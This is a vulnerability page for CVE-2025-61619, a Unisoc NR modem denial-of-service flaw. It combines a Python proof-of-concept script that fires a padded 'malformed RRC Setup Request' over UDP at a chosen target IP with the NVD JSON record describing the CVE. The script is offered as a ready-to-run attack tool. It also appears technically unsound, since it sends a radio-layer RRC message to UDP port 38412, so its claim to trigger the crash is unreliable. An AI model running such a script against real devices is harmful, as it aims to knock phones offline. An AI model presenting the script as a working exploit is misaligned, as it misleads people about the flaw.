CVE-2025-61619

# CVE-2025-61619 PoC - Unisoc NR Modem DoS # This PoC demonstrates sending malformed NR RRC messages # to trigger input validation vulnerability in Unisoc modem import socket import struct import random def create_malformed_rrc_setup_request(): """ Create a malformed RRC Setup Request with oversized fields to trigger input validation vulnerability """ # NR RRC Setup Request message header rrc_message = bytearray() # Message type: RRC Setup Request (0x00) rrc_message.extend([0x00, 0x01]) # Uplink frequency info with oversized value rrc_message.extend([0x40, 0x00, 0xFF, 0xFF, 0xFF, 0xFF]) # Cause field with invalid large value rrc_message.extend([0x00, 0xFF, 0xFF, 0xFF]) # Spare bits with padding to overflow buffer rrc_message.extend([0xFF] * 1024) return bytes(rrc_message) def send_to_target(target_ip, target_port=38412): """ Send malformed NR RRC message to target device """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malformed_msg = create_malformed_rrc_setup_request() print(f"[*] Sending malformed RRC message to {target_ip}:{target_port}") print(f"[*] Message length: {len(malformed_msg)} bytes") sock.sendto(malformed_msg, (target_ip, target_port)) sock.close() print("[+] Malformed message sent successfully") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_61619_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_to_target(target_ip)

{"cve": {"id": "CVE-2025-61619", "sourceIdentifier": "[email protected]", "published": "2025-12-01T08:15:49.010", "lastModified": "2025-12-02T15:54:01.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In nr modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed"}, {"lang": "es", "value": "En el módem nr, existe una posible caída del sistema debido a una validación de entrada inadecuada. Esto podría conducir a una denegación de servicio remota sin necesidad de privilegios de ejecución adicionales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2DA04F2-5351-4043-A330-5397E627A222"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FC033D2C-ED1A-4EAB-A77B-8E1C88C74B0A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC7743D5-B187-48D4-BC77-D8DCDF263166"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D1F3B9D-142F-4E70-8477-E26D921EF19A"}]}]}], "references": [{"url": "https://www.unisoc.com/en/support/announcement/1995394837938163714", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}